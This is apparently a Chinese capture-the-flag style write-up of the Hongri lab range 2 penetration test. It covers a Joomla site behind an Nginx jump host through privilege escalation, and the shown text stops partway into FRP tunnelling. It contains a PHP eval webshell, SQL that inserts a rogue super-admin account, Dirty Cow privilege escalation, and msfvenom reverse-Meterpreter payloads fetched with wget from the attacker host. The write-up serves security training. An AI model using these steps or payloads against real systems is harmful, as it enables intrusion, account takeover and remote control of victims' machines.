目录
[② vmnet2网卡](#② vmnet2网卡)
[① 目录结构暴露](#① 目录结构暴露)
[② 数据库配置泄露](#② 数据库配置泄露)
[(3)disable function插件](#(3)disable function插件)
[五、MSF监听(Web CenOS)](#五、MSF监听(Web CenOS))
[(1)目标1: 192.168.93.10 - Windows Server 2012 R2](#(1)目标1: 192.168.93.10 - Windows Server 2012 R2)
[(2)目标2: 192.168.93.20 - Windows Server 2008](#(2)目标2: 192.168.93.20 - Windows Server 2008)
[(3)目标3: 192.168.93.30 - Windows 7](#(3)目标3: 192.168.93.30 - Windows 7)
[(1)爆破192.168.93.20(WinServer 2008)](#(1)爆破192.168.93.20(WinServer 2008))
[(2)爆破192.168.93.30(PC Win7)](#(2)爆破192.168.93.30(PC Win7))
[(3)爆破192.168.93.10(WinServer 2012)](#(3)爆破192.168.93.10(WinServer 2012))
[1、Wmiexec横向移动192.168.93.30(PC Win7)](#1、Wmiexec横向移动192.168.93.30(PC Win7))
2、Wmiexec横向移动192.168.93.20(WinServer2008)
本文详细记录了红日靶场2渗透测试的全过程,从外网渗透到内网域控的完整攻击链。攻击者首先通过Kali探测发现3306端口有数据库的弱口令漏洞,使用navicat远程连接3306端口后发现Joomla数据库。在Jooma数据库中创建管理员账户,并登录Joomla网站的管理后台,利用模板漏洞上传Webshell获取内网Ubuntu服务器权限,发现SSH凭证后登录边界跳板机。在跳板机上进行脏牛提权获取root权限,随后以此为支点对内网展开横向渗透。通过FRP代理建立隧道,使用Hydra爆破SMB密码,成功获取Windows服务器权限。最后利用Zerologon漏洞(CVE-2020-1472)攻陷域控制器(192.168.93.10)。整个攻击过程展示了从外网突破到内网横向移动的完整技术链,包括信息收集、漏洞利用、权限提升、代理隧道和凭证窃取等关键技术节点。
-
信息收集与外部突破
-
端口扫描 :使用 Kali 攻击机进行扫描,发现目标
192.168.59.188开放 3306 端口。 -
数据库弱口令:利用 MySQL 数据库的弱口令漏洞,通过 Navicat 远程连接成功。
-
篡改 Joomla 数据库:在数据库中为 Joomla 网站创建新的后台管理员账户。
-
-
获取 WebShell 与立足内网
-
后台登录:使用新建的管理员账户登录 Joomla 网站管理后台。
-
模板漏洞 Getshell :利用 Joomla 模板编辑功能,写入 WebShell,成功获取内网 Ubuntu 服务器 (
192.168.93.120) 的控制权。
-
-
横向移动至边界跳板机
-
发现 SSH 凭证:在 Ubuntu 服务器的文件系统中,发现并获取了用于 SSH 登录的账号密码。
-
登录跳板机 :使用获得的凭证,从 Kali 直接 SSH 登录至边界 CentOS 跳板机 (
192.168.59.188)。
-
-
权限提升与稳固访问
-
脏牛提权:在 CentOS 跳板机上,利用 Dirty Cow 内核漏洞进行提权,成功获得 root 权限。
-
建立代理隧道:使用 FRP 等工具,将跳板机作为 socks5 代理,建立通向内网的稳定隧道,方便 Kali 直接访问内网资源。
-
-
内网横向移动与域渗透
-
SMB 密码爆破:通过建立的代理,使用 Hydra 对内网主机的 SMB 服务进行密码爆破,成功获取一台 Windows 服务器的权限。
-
攻陷域控 :利用zerologon漏洞(CVE-2020-1472)对域控制器 (
192.168.93.10)渗透,最终完成对整个内网域的掌控。
-
一、渗透环境搭建
1、网络拓扑
**Kali攻击机:**Vmnet8-192.168.59.128
Web跳板机(开启Nginx反向代理,开启80端口、3306端口和22端口):
Vmnet8-192.168.59.188 ,Vmnet1网卡:192.168.93.100
内网渗透目标:Vmnet2-192.168.93.0/24
**Web Ubuntu:**192.168.93.120(Joomla服务真实IP)
**Windows Server 2012:**192.168.93.10
**Windows Server2008(域控DC):**192.168.93.20
**Windows7 PC:**192.168.93.30

2、角色表
攻击方为Kali攻击机(192.168.59.128);边界是具备双网卡的CentOS跳板机(外网192.168.59.188/内网192.168.93.100),其通过Nginx将Joomla请求反向代理至内网Ubuntu服务器(192.168.93.120);最终以跳板机为支点,横向渗透内网的三台Windows主机------Windows Server 2012(192.168.93.10)、域控制器(192.168.93.20)和Windows 7 PC(192.168.93.30)。

| 角色 | 操作系统 / 服务 | IP 地址 | 网卡 / 网络 | 描述 |
|---|---|---|---|---|
| 攻击机 | Kali Linux | 192.168.59.128 | Vmnet8 (NAT) | 攻击发起主机。 |
| 边界跳板机 | CentOS, Nginx, SSH | 外部 : 192.168.59.188 内部: 192.168.93.100 | Vmnet8 (NAT) Vmnet1 (Host-Only) | 核心跳板。外网提供Nginx反向代理和SSH服务,内网可直接访问目标网络。 |
| Web服务器 | Ubuntu, Joomla (真实服务) | 192.168.93.120 | Vmnet1 (Host-Only) | 承载真实Joomla服务的内部服务器,是获取SSH凭据的来源。 |
| 内网服务器 | Windows Server 2012 | 192.168.93.10 | Vmnet1 (Host-Only) | 内网渗透目标之一。 |
| 域控制器 | Windows Server 2008 | 192.168.93.20 | Vmnet1 (Host-Only) | 内网核心目标,域控。 |
| 办公主机 | Windows 7 | 192.168.93.30 | Vmnet1 (Host-Only) | 内网普通主机。 |
3、渗透技术
| 阶段 | 技术/工具 | 目标/效果 |
|---|---|---|
| 信息收集 | Nmap | 发现80端口及Joomla!服务 |
| Web渗透 | Joomla!漏洞利用、WebShell | 获取Ubuntu服务器初始权限 |
| 权限提升 | 脏牛(Dirty Cow)漏洞 | 提升至root权限 |
| 持久化 | SSH凭证利用 | 建立稳定跳板 |
| 内网代理 | FRP | 打通内网访问通道 |
| 凭据攻击 | Hydra | 爆破SMB密码 |
| 横向移动 | WMIExec (Impacket) | 远程命令执行,控制内网主机 |
| 域控攻陷 | Zerologon (CVE-2020-1472) | 攻陷域控制器,获得整个域的控制权 |
4、网络搭建
(1)网络适配器配置
①修改Web-CentOS的网卡配置
将桥接的网卡改为NAT,如下所示。

②查看kali的ip地址开机修改ip地址
举例我的系统中NAT的网段为192.168.59.0/24
kali系统配置为NAT,kali系统中的ip地址为192.168.59.128


③配置CentOS网卡0的ip地址
配置为NAT网段不冲突的ip地址,这里我选择192.168.59.188,执行命令后查看路由正确
ifconfig eth0 192.168.59.188/24
route

尝试ping kali,确保网络畅通,如下所示。
ping 192.168.59.128 --c 3

注意完成此步骤后,务必拍摄快照留存,避免出现错误重新搭建环境。
(2)配置网段
①编辑虚拟网络编辑器
点击vmware-编辑-虚拟网络编辑器,进入到配置vmnet网卡的界面,如下所示。

② vmnet2网卡
将vmnet2网段改为192.168.93.0/24,如下所示。

二、信息搜集
1、探测存活主机
nmap 192.168.59.0/24 发现ip地址为192.168.59.188,如下所示。
nmap -sn 192.168.59.0/24

2、探测端口
使用Nmap命令"nmap -p- -A -sV 192.168.59.188"对目标主机进行全端口深度扫描。其中-p-扫描所有65535个端口,-A启用操作系统检测、版本探测和脚本扫描等聚合功能,-sV专门识别服务具体版本信息。该组合命令能全面获取目标系统的开放端口、运行服务版本、操作系统类型等关键情报
┌──(root㉿kali)-[/home/kali]
└─# nmap -p- -A -sV 192.168.59.188
Starting Nmap 7.92 ( https://nmap.org ) at 2025-10-05 01:49 EDT
Nmap scan report for 192.168.59.188
Host is up (0.0011s latency).
Not shown: 65532 closed tcp ports (reset)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 5.3 (protocol 2.0)
| ssh-hostkey:
| 1024 25:84:c6:cc:2c:8a:7b:8f:4a:7c:60:f1:a3:c9:b0:22 (DSA)
|_ 2048 58:d1:4c:59:2d:85:ae:07:69:24:0a:dd:72:0f:45:a5 (RSA)
80/tcp open http nginx 1.9.4
|_http-generator: Joomla! - Open Source Content Management
|_http-title: Home
| http-robots.txt: 15 disallowed entries
| /joomla/administrator/ /administrator/ /bin/ /cache/
| /cli/ /components/ /includes/ /installation/ /language/
|_/layouts/ /libraries/ /logs/ /modules/ /plugins/ /tmp/
|_http-server-header: nginx/1.9.4
3306/tcp open mysql MySQL 5.7.27-0ubuntu0.16.04.1
| mysql-info:
| Protocol: 10
| Version: 5.7.27-0ubuntu0.16.04.1
| Thread ID: 88
| Capabilities flags: 63487
| Some Capabilities: InteractiveClient, Support41Auth, ODBCClient, ConnectWithDatabase, Speaks41ProtocolOld, IgnoreSigpipes, FoundRows, SupportsTransactions, Speaks41ProtocolNew, IgnoreSpaceBeforeParenthesis, DontAllowDatabaseTableColumn, SupportsCompression, SupportsLoadDataLocal, LongColumnFlag, LongPassword, SupportsMultipleResults, SupportsMultipleStatments, SupportsAuthPlugins
| Status: Autocommit
| Salt: /A\x12\x07\\x02j\x05<5:c%9\x14\x0BV
| os
|_ Auth Plugin Name: mysql_native_password
MAC Address: 00:0C:29:32:46:C9 (VMware)
Device type: general purpose
Running: Linux 2.6.X|3.X
OS CPE: cpe:/o:linux:linux_kernel:2.6 cpe:/o:linux:linux_kernel:3
OS details: Linux 2.6.32 - 3.10
Network Distance: 1 hop
TRACEROUTE
HOP RTT ADDRESS
1 1.05 ms 192.168.59.188
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 35.50 seconds
根据Nmap扫描结果,目标系统192.168.59.188运行着过时的服务堆栈,存在严重安全隐患。系统开放了SSH(OpenSSH 5.3)、HTTP(nginx 1.9.4)和MySQL(5.7.27)服务,其中Web服务搭载Joomla CMS并暴露了管理员入口和完整目录结构。所有服务版本均较老旧,特别是nginx和OpenSSH存在已知漏洞风险,robots.txt文件还泄露了敏感路径信息,为攻击者提供了多重渗透途径,建议立即升级服务版本并加强访问控制。这是一个典型的LNMJ(Linux + Nginx + MySQL + Joomla)Web应用堆栈,运行在Ubuntu 16.04系统上。
三、80端口渗透
1、目录扫描
使用dirsearch对http://192.168.59.188/进行目录扫描,结果如下所示。
D:\web\ONE-FOX\gui_scan\dirsearch>python dirsearch.py -u http://192.168.59.188/
_|. _ _ _ _ _ _|_ v0.4.3 by 鹏组安全
(_||| _) (/_(_|| (_| )
Extensions: php, aspx, jsp, html, js | HTTP method: GET | Threads: 25 | Wordlist size: 11714
Output File: D:\web\ONE-FOX\gui_scan\dirsearch\reports\http_192.168.59.188\__25-10-05_09-41-44.txt
Target: http://192.168.59.188/
[09:41:45] Starting:
[09:41:47] 403 - 279B - /.configuration.php.swp
[09:41:48] 403 - 279B - /.ht_wsr.txt
[09:41:48] 403 - 279B - /.htaccess.bak1
[09:41:48] 403 - 279B - /.htaccess.orig
[09:41:48] 403 - 279B - /.htaccess.sample
[09:41:48] 403 - 279B - /.htaccess.save
[09:41:48] 403 - 279B - /.htaccess_sc
[09:41:48] 403 - 279B - /.htaccessBAK
[09:41:48] 403 - 279B - /.htaccess_extra
[09:41:48] 403 - 279B - /.htaccessOLD
[09:41:48] 403 - 279B - /.htaccessOLD2
[09:41:48] 403 - 279B - /.htaccess_orig
[09:41:48] 403 - 279B - /.htm
[09:41:48] 403 - 279B - /.html
[09:41:48] 403 - 279B - /.htpasswd_test
[09:41:48] 403 - 279B - /.htpasswds
[09:41:48] 403 - 279B - /.httr-oauth
[09:41:50] 403 - 279B - /.php
[09:41:52] 200 - 24KB - /1.php
[09:41:52] 200 - 0B - /2.php
[09:42:03] 301 - 324B - /administrator -> http://192.168.59.188/administrator/
[09:42:03] 200 - 525B - /administrator/includes/
[09:42:03] 200 - 31B - /administrator/cache/
[09:42:03] 200 - 31B - /administrator/logs/
[09:42:03] 301 - 329B - /administrator/logs -> http://192.168.59.188/administrator/logs/
[09:42:04] 200 - 2KB - /administrator/
[09:42:04] 200 - 2KB - /administrator/index.php
[09:42:09] 301 - 314B - /bin -> http://192.168.59.188/bin/
[09:42:09] 200 - 31B - /bin/
[09:42:10] 301 - 316B - /cache -> http://192.168.59.188/cache/
[09:42:10] 200 - 31B - /cache/
[09:42:12] 200 - 31B - /cli/
[09:42:13] 301 - 321B - /components -> http://192.168.59.188/components/
[09:42:13] 200 - 31B - /components/
[09:42:14] 200 - 0B - /configuration.php
[09:42:14] 200 - 2KB - /configuration.php~
[09:42:26] 200 - 1KB - /htaccess.txt
[09:42:27] 301 - 317B - /images -> http://192.168.59.188/images/
[09:42:27] 200 - 31B - /images/
[09:42:28] 301 - 319B - /includes -> http://192.168.59.188/includes/
[09:42:28] 200 - 31B - /includes/
[09:42:28] 200 - 4KB - /index.php
[09:42:29] 200 - 3KB - /index.php/login/
[09:42:31] 301 - 319B - /language -> http://192.168.59.188/language/
[09:42:31] 200 - 31B - /layouts/
[09:42:32] 301 - 320B - /libraries -> http://192.168.59.188/libraries/
[09:42:32] 200 - 31B - /libraries/
[09:42:32] 200 - 7KB - /LICENSE.txt
[09:42:36] 200 - 31B - /media/
[09:42:36] 301 - 316B - /media -> http://192.168.59.188/media/
[09:42:38] 301 - 318B - /modules -> http://192.168.59.188/modules/
[09:42:38] 200 - 31B - /modules/
[09:42:48] 301 - 318B - /plugins -> http://192.168.59.188/plugins/
[09:42:48] 200 - 31B - /plugins/
[09:42:52] 200 - 2KB - /README.txt
[09:42:54] 200 - 392B - /robots.txt
[09:42:56] 403 - 279B - /server-status
[09:42:56] 403 - 279B - /server-status/
[09:43:05] 301 - 320B - /templates -> http://192.168.59.188/templates/
[09:43:06] 200 - 31B - /templates/
[09:43:06] 200 - 31B - /templates/index.html
[09:43:06] 200 - 0B - /templates/protostar/
[09:43:06] 200 - 0B - /templates/beez3/
[09:43:06] 200 - 0B - /templates/system/
[09:43:07] 200 - 31B - /tmp/
[09:43:07] 301 - 314B - /tmp -> http://192.168.59.188/tmp/
[09:43:15] 200 - 628B - /web.config.txt
Task Completed
根据目录扫描结果分析,这是一个典型的 Joomla! CMS 网站结构。
(1)潜在敏感文件
-
/1.php(24KB) - 可疑的PHP文件,需要进一步检查 -
/2.php(0B) - 空文件,可能为测试文件 -
/configuration.php(0B) - Joomla配置文件(空) -
/configuration.php~(2KB) - 备份配置文件,可能包含数据库凭据 -
/web.config.txt- 配置文件备份 -
/robots.txt-目录结构
(2)目录结构暴露
-
所有Joomla标准目录都可访问:
-
/administrator/- 后台管理入口 -
/components/,/modules/,/plugins/- 扩展目录 -
/includes/,/libraries/- 核心库文件
-
(3)安全风险点
① 目录结构暴露
robots.txt可能包含目录结构,访问robots.txt文件,如下所示确实暴露了网站的目录结构,而且暴露这是jooma网站。

② 数据库配置泄露
configuration.php~ 可能包含数据库密码,访问该配置文件,方法如下所示。
http://192.168.59.188/configuration.php~
分析配置文件,得到数据库的账号为testuser,密码为cvcvgjASD!@,如下所示。
<?php
class JConfig {
public $offline = '0';
public $offline_message = '缃戠珯姝e湪缁存姢銆�<br /> 璇风◢鍊欒闂€�';
public $display_offline_message = '1';
public $offline_image = '';
public $sitename = 'test';
public $editor = 'tinymce';
public $captcha = '0';
public $list_limit = '20';
public $access = '1';
public $debug = '0';
public $debug_lang = '0';
public $debug_lang_const = '1';
public $dbtype = 'mysqli';
public $host = 'localhost';
public $user = 'testuser';
public $password = 'cvcvgjASD!@';
public $db = 'joomla';
public $dbprefix = 'am2zu_';
public $live_site = '';
public $secret = 'gXN9Wbpk7ef3A4Ys';
public $gzip = '0';
public $error_reporting = 'default';
public $helpurl = 'https://help.joomla.org/proxy?keyref=Help{major}{minor}:{keyref}&lang={langcode}';
public $ftp_host = '';
public $ftp_port = '';
public $ftp_user = '';
public $ftp_pass = '';
public $ftp_root = '';
public $ftp_enable = '0';
public $offset = 'UTC';
public $mailonline = '1';
public $mailer = 'mail';
public $mailfrom = 'test@test.com';
public $fromname = 'test';
public $sendmail = '/usr/sbin/sendmail';
public $smtpauth = '0';
public $smtpuser = '';
public $smtppass = '';
public $smtphost = 'localhost';
public $smtpsecure = 'none';
public $smtpport = '25';
public $caching = '0';
public $cache_handler = 'file';
public $cachetime = '15';
public $cache_platformprefix = '0';
public $MetaDesc = '';
public $MetaKeys = '';
public $MetaTitle = '1';
public $MetaAuthor = '1';
public $MetaVersion = '0';
public $robots = '';
public $sef = '1';
public $sef_rewrite = '0';
public $sef_suffix = '0';
public $unicodeslugs = '0';
public $feed_limit = '10';
public $feed_email = 'none';
public $log_path = '/var/www/html/administrator/logs';
public $tmp_path = '/var/www/html/tmp';
public $lifetime = '15';
public $session_handler = 'database';
public $shared_session = '0';
}
2、登录数据库
使用navitcat访问数据库(192.168.59.188),账号为testuser,密码为cvcvgjASD!@,如下所示。

(1)am2zu_user表
用户名为administrator
密码为2y10$t1RelJijihpPhL8LARC9JuM/AWrVR.nto/XycrybdRbk8IEg6Dze2
明显密码加了盐处理,很难破解.

(2)umnbt_users表
用户名为admin
密码为2y10$N/Yv/9rzxyq.z0gLTT5og.pj3FFAP8Sq2PcBgsMX/Qnc2671qQkHy
同样明显密码是加了盐处理后的,很难破解。

3、创建jooma账户并配置为管理员
参考如下方法新增Joomla账户
(1)构造SQL语句
URL:https://docs.joomla.org/How_do_you_recover_or_reset_your_admin_password%3F/zh-cn
官方文档解释如下所示。

基于官方脚本,我撰写了python脚本,内容如下所示。
|---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|
| import hashlib, random, string from datetime import datetime def joomla_password_hash(password, salt=None): salt = salt or ''.join(random.choice(string.ascii_letters + string.digits) for _ in range(32)) return f"{hashlib.md5((password + salt).encode()).hexdigest()}:{salt}" # 生成用户信息 username = 'mooyuan' password = 'ljn' joomla_password = joomla_password_hash(password) current_time = datetime.now().strftime('%Y-%m-%d %H:%M:%S') print(f"用户名: {username}\n密码: {password}\n哈希: {joomla_password}") print(f"\nINSERT INTO `am2zu_users` (`name`,`username`,`password`,`params`,`registerDate`,`lastvisitDate`,`lastResetTime`) VALUES ('{username}','{username}','{joomla_password}','','{current_time}','{current_time}','{current_time}');") print(f"INSERT INTO `am2zu_user_usergroup_map` (`user_id`,`group_id`) VALUES (LAST_INSERT_ID(),'8');") |
运行结果如下所示,生成用户名对应的密码哈希值,并构造SQL语句。

数据库插入用户名密码的语句如下所示,共两个SQL语句(分别对应下图绿色和蓝色背景语句)。
INSERT INTO `am2zu_users` (`name`,`username`,`password`,`params`,`registerDate`,`lastvisitDate`,`lastResetTime`) VALUES ('mooyuan','mooyuan','61b96dd94219ddb8409922fe08172658:f6R7XHcyhOI7NVX5ZxAxB91fNXwl92wM','','2025-10-05 00:49:53','2025-10-05 00:49:53','2025-10-05 00:49:53');
INSERT INTO `am2zu_user_usergroup_map` (`user_id`,`group_id`) VALUES (LAST_INSERT_ID(),'8');
-
group_id = 8:超级管理员权限 -
LAST_INSERT_ID():自动获取新插入用户的ID
(2)执行SQL语句

4、登录Jooma管理员账户
http://192.168.59.188/administrator/
http://192.168.59.188/administrator/
http://192.168.59.188/administrator/

5、Joomla版本探测
(1)目录扫描获取README.txt
访问README.txt ,如下所示发现joomla版本为3.9。
http://192.168.59.188/README.txt

(2)whatweb
使用whatweb扫描网站http://192.168.59.188/,运行结果如下所示。
└─# whatweb http://192.168.59.188/
http://192.168.59.188/ [200 OK] Bootstrap, Cookies[d238a471ae12a7732425ae4995e23fce], Country[RESERVED][ZZ], HTML5, HTTPServer[nginx/1.9.4], HttpOnly[d238a471ae12a7732425ae4995e23fce], IP[192.168.59.188], JQuery, MetaGenerator[Joomla! - Open Source Content Management], OpenSearch[http://192.168.59.188/index.php/component/search/?layout=blog&id=9&Itemid=101&format=opensearch], Script, Title[Home], nginx[1.9.4]
根据WhatWeb扫描结果,目标系统192.168.59.188运行着基于Joomla! CMS的网站,使用nginx/1.9.4作为Web服务器。该nginx版本较老(2015年发布),可能存在已知安全漏洞。系统采用了Bootstrap前端框架、jQuery库和HTML5技术,并启用了OpenSearch功能。在会话管理方面,系统配置了HttpOnly属性的Cookie,这在一定程度上增强了防护XSS攻击的能力。

(3)Joomscan
使用joomscan扫描网站,具体命令如下所示。
sudo apt install joomscan
joomscan --url http://192.168.59.188
根据JoomScan扫描结果,目标系统运行Joomla 3.9.12版本,核心文件未发现漏洞但存在多个安全隐患。扫描检测到目录列表功能在administrator/components、administrator/modules等关键目录开启,同时发现可读取的配置文件configuration.php~,可能泄露数据库凭据。robots.txt文件暴露了完整的Joomla目录结构,为攻击者提供了路径枚举便利。
____ _____ _____ __ __ ___ ___ __ _ _
(_ _)( _ )( _ )( \/ )/ __) / __) /__\ ( \( )
.-_)( )(_)( )(_)( ) ( \__ \( (__ /(__)\ ) (
\____) (_____)(_____)(_/\/\_)(___/ \___)(__)(__)(_)\_)
(1337.today)
--=[OWASP JoomScan
+---++---==[Version : 0.0.7
+---++---==[Update Date : [2018/09/23]
+---++---==[Authors : Mohammad Reza Espargham , Ali Razmjoo
--=[Code name : Self Challenge
@OWASP_JoomScan , @rezesp , @Ali_Razmjo0 , @OWASP
Processing http://192.168.59.188 ...
[+] FireWall Detector
[++] Firewall not detected
[+] Detecting Joomla Version
[++] Joomla 3.9.12
[+] Core Joomla Vulnerability
[++] Target Joomla core is not vulnerable
[+] Checking Directory Listing
[++] directory has directory listing :
http://192.168.59.188/administrator/components
http://192.168.59.188/administrator/modules
http://192.168.59.188/administrator/templates
http://192.168.59.188/images/banners
[+] Checking apache info/status files
[++] Readable info/status files are not found
[+] admin finder
[++] Admin page : http://192.168.59.188/administrator/
[+] Checking robots.txt existing
[++] robots.txt is found
path : http://192.168.59.188/robots.txt
Interesting path found from robots.txt
http://192.168.59.188/joomla/administrator/
http://192.168.59.188/administrator/
http://192.168.59.188/bin/
http://192.168.59.188/cache/
http://192.168.59.188/cli/
http://192.168.59.188/components/
http://192.168.59.188/includes/
http://192.168.59.188/installation/
http://192.168.59.188/language/
http://192.168.59.188/layouts/
http://192.168.59.188/libraries/
http://192.168.59.188/logs/
http://192.168.59.188/modules/
http://192.168.59.188/plugins/
http://192.168.59.188/tmp/
[+] Finding common backup files name
[++] Backup files are not found
[+] Finding common log files name
[++] error log is not found
[+] Checking sensitive config.php.x file
[++] Readable config file is found
config file path : http://192.168.59.188/configuration.php~
Your Report : reports/192.168.59.188/


6、上传木马
搜索Joomla3.9.12的漏洞,该版本的Joomla模板编辑功能允许管理员直接编辑模板文件,但缺乏对PHP代码的安全验证,导致可以插入恶意代码。
(1)编辑模板
点击Extensions->templates->templates,具体如下所示。

选择第一个Beez3样式,可以看到有个error.php文件,我们将直接在里面写入一句话木马,然后保存。


(2)构造木马
构造木马脚本,如下所示这是POST参数为ljn的一句话木马。
|-------------------------|
| @eval($_POST['ljn']); |
(3)插入木马
将@eval($_POST['ljn']);插入并保存,如下所示。

7、蚁剑连接
- URL地址:http://192.168.59.188/templates/beez3/error.php
- 密码:ljn

8、虚拟终端
(1)执行命令
右键-虚拟终端,具体操作步骤如下所示。
输入ifconfig和whoami,如下所示均失败,并未返回命令执行的结果。接下来我们查看下是否服务器对命令执行进行了限制。
(2)查看phpinfo
如下所示,使用hackbar访问木马,post参数填写ljn=phpinfo();根据返回结果我哦们得知版本为7.1.32。
搜索disable,发现disable_func部分内容如下所示(注意标黄部分,这些都被禁止了)。
exec,passthru,shell_exec,system,proc_open,popen,curl_exec,curl_multi_exec,parse_ini_file,show_source
(3)disable function插件
我们通过蚁剑工具的disable function插件绕过服务器的限制,具体操作步骤如下所示。
点击开始执行,如下所示。
(4)执行命令
在新弹出的虚拟终端窗口,首先我们尝试执行ls命令,如下所示成功返回当前目录结构。
(5)Nginx反向代理
查看ip地址,发现并不是192.168.59.188(内网ip地址对应192.168.93.100),而是192.168.93.120。我们再次梳理流程,蚁剑工具连接jooma漏洞写入到的木马http://192.168.59.188/templates/beez3/error.php后,通过ifconfig查到的ip地址为192.168.93.100,说明192.168.59.188跳板机(centos)的80端口开启了nginx的反向代理,指向的joomla服务实际上是192.168.93.120这台ubuntu机器。
此时可以查看Web服务器的Nginx设置文件(cat /etc/nginx/nginx.conf),如下所示确实配置了Nginx的HTTP 七层反向代理:当用户访问 http://localhost 时,Nginx 作为反向代理,会接收这个请求,然后以自己身份重新发起一个请求 到真正的后端服务器 http://192.168.93.120,拿到响应后再返回给用户。其中 proxy_pass http://192.168.93.120;: 定义了后端应用服务器的地址。
user nginx;
worker_processes 1;
error_log /var/log/nginx/error.log warn;
pid /var/run/nginx.pid;
events {
worker_connections 1024;
}
http {
server {
listen 80;
server_name localhost;
location / {
proxy_pass http://192.168.93.120;
proxy_set_header Host $host;
proxy_set_header X-Real-IP $remote_addr; #获取真实ip
proxy_connect_timeout 90;
proxy_send_timeout 90;
proxy_read_timeout 90;
proxy_buffer_size 4k;
proxy_buffers 4 32k;
proxy_busy_buffers_size 64k;
proxy_temp_file_write_size 64k;
proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;#获取代理者的真实ip
proxy_redirect off;
}
}
}
stream {
upstream proxy_name {
server 192.168.93.120:3306;
}
server {
listen 3306;
proxy_pass proxy_name;
}
}
9、发现账户密码
双击会话或者右键-文件管理,进入文件系统,如下所示。
在/tmp/mysql/test.txt中发现账户和密码。
四、22端口渗透(脏牛提权)
1、ssh登录
上一步发现用户名和密码: wwwuser:wwwuser_123Aqx,尝试口令复用,使用xterm登陆 ssh。
登录成功,效果如下所示。
2、查看基本信息
执行whoami和uname -r获取系统信息,内核版本较低。
3、上传PoC
由于内核版本较低,可能有脏牛漏洞,接下来上传PoC。
4、探测脏牛漏洞
使用bash linux-exploit-suggester.sh执行linux漏洞探测脚本,如下所示存在脏牛漏洞。
5、编译脏牛提权程序
执行gcc -pthread 40839.c -o dcow -lcrypt编译脏牛漏洞,如下所示。
6、执行脏牛提权程序
接下来执行脏牛漏洞程序dcow,不过执行之前要删除文件/tmp/passwd.bak,具体如下所示。
- rm /tmp/passwd.bak
- .dcow
然后会显示成功添加一个firefart的root权限账号。
7、切换root账户
使用su firefart切换到刚刚创建的管理员账户,并通过id验证确实此时已经为管理员账号,说明提权成功。
- su firefart
- id
五、MSF监听(Web CenOS)
1、MSF生成木马
(1)失败命令
由于Web服务器(CentOS)系统较旧,使用如下两种方法生成的木马均会报错,无法监听成功。
msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=192.168.59.128 LPORT=4444 -f elf -o shell.elf
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.59.128 LPORT=4444 -f elf -o shell_x86.elf
(2)成功命令
使用MSFvenom工具生成一个Linux x64系统的后门程序,配置为向攻击者主机192.168.59.128的4444端口建立反向Meterpreter连接,输出格式为ELF可执行文件,最终生成名为meterpreter_nostaged_x64.elf的载荷文件用于渗透测试。
msfvenom -p linux/x64/meterpreter_reverse_tcp LHOST=192.168.59.128 LPORT=4444 -f elf -o meterpreter_nostaged_x64.elf
对比失败和成功命令的区别,成功命令是**生成一个适用于Linux x64系统的、无阶段的反向Meterpreter载荷。其特别之处在于,该ELF文件是完整的自包含后门,无需从攻击机分阶段下载代码,因此能一次性建立全功能会话,有效规避了某些基于网络流量检测的分阶段攻击识别机制。**具体如下所示。
-
失败命令:
linux/x64/meterpreter/reverse_tcp-
这是一个分阶段 的载荷。
-
含义 : 生成的
shell.elf文件非常小,它只是一个"引导程序"。当它在目标机器上执行时,会主动连接攻击机(192.168.59.128:4444),然后从攻击机下载并注入完整的、功能强大的 Meterpreter 载荷。
-
-
成功命令:
linux/x64/meterpreter_reverse_tcp-
这是一个无阶段 的载荷。
-
特别之处 : 生成的
meterpreter_nostaged_x64.elf文件是一个完整的、自包含的 后门程序。它已经将 反向连接器和整个 Meterpreter 载荷都包含在同一个文件中。执行后,它会直接与攻击机建立连接并提供一个功能完整的 Meterpreter 会话,无需额外的网络通信来下载第二阶段载荷。
-
2、下载木马文件
在 meterpreter_nostaged_x64.elf的目录中执行python3 -m http.server 8888。
Web服务器wget工具下载Kali攻击机生成的木马文件meterpreter_nostaged_x64.elf。
wget http://192.168.59.128:8888/meterpreter_nostaged_x64.elf
3、MSF监听
MSF开启监听,特别注意payload要与木马一致( linux/x64/meterpreter_reverse_tcp),具体配置如下所示。
msfconsole
use exploit/multi/handler
set payload linux/x64/meterpreter_reverse_tcp
set LHOST 192.168.59.128
set LPORT 4444
set ExitOnSession false
exploit -j
4、执行msf.elf
特别注意,这里要使用提权后的账户执行MSF生成的木马。如下就是使用wwwuser执行命令,应该使用firefart账户执行。
5、MSF监听成功
回到kali攻击机的MSF监听页面,此时已经监听成功。
六、Fscan探测
这一步需要打开三个windows虚拟机,用于内网横向移动进行渗透测试
1、上传fscan
在攻击机的http网站根目录放入fscan文件,在Web服务器中使用wget命令下载fscan文件。
wget http://192.168.59.128:8888/fscan_amd64
2、fscan探测
通过ifconfig可以获知另一个子网为192.168.93.0/24。
chmod +x ./fscan_amd64
./fscan_amd64 -h 192.168.93.0/24
如下所示发现192.168.93.0/24网段中存活的非kali攻击机、我们没有获取到权限的Web服务器外,还有三台设备192.168.93.10和192.168.93.20和192.168.93.30。
./fscan_amd64 -h 192.168.93.10,192.168.93.20,192.168.93.30
通过扫描我们发现这三台设备的10、20、30的445端口均开放,分别为Window Server 2012服务器、Windows 7系统、Windows Server2008服务器。
七、frp代理配置
1、原理详解
我们计划Kali攻击机(192.168.59.128)上创建了一个端口为12347的Socks5代理,通过跳板机(外网ip为192.168.59.188,内网ip为192.168.93.100)作为中转,使攻击者能通过代理直接访问192.168.93.0/24内网资源。
- Kali(192.168.59.128)作为FRP服务器与攻击控制中心
- 跳板机(192.168.59.188)作为FRP客户端与流量中转站,实现对192.168.93.0/24内网访问
**攻击机(Kali)**的代理工作流程具体如下所示。
-
服务启动与通道建立:
-
攻击机上的 frps 监听
7000端口。 -
跳板机上的 frpc 主动连接到攻击机的
7000端口,建立控制通道 ,并注册socks5服务。
-
-
代理服务暴露:
- frps 在攻击机本地成功开启 SOCKS5代理服务 ,监听
12347端口。
- frps 在攻击机本地成功开启 SOCKS5代理服务 ,监听
-
数据流(内网渗透):
-
攻击机上的攻击工具 (如nmap)配置proxychains SOCKS5 代理为
127.0.0.1:12347。 -
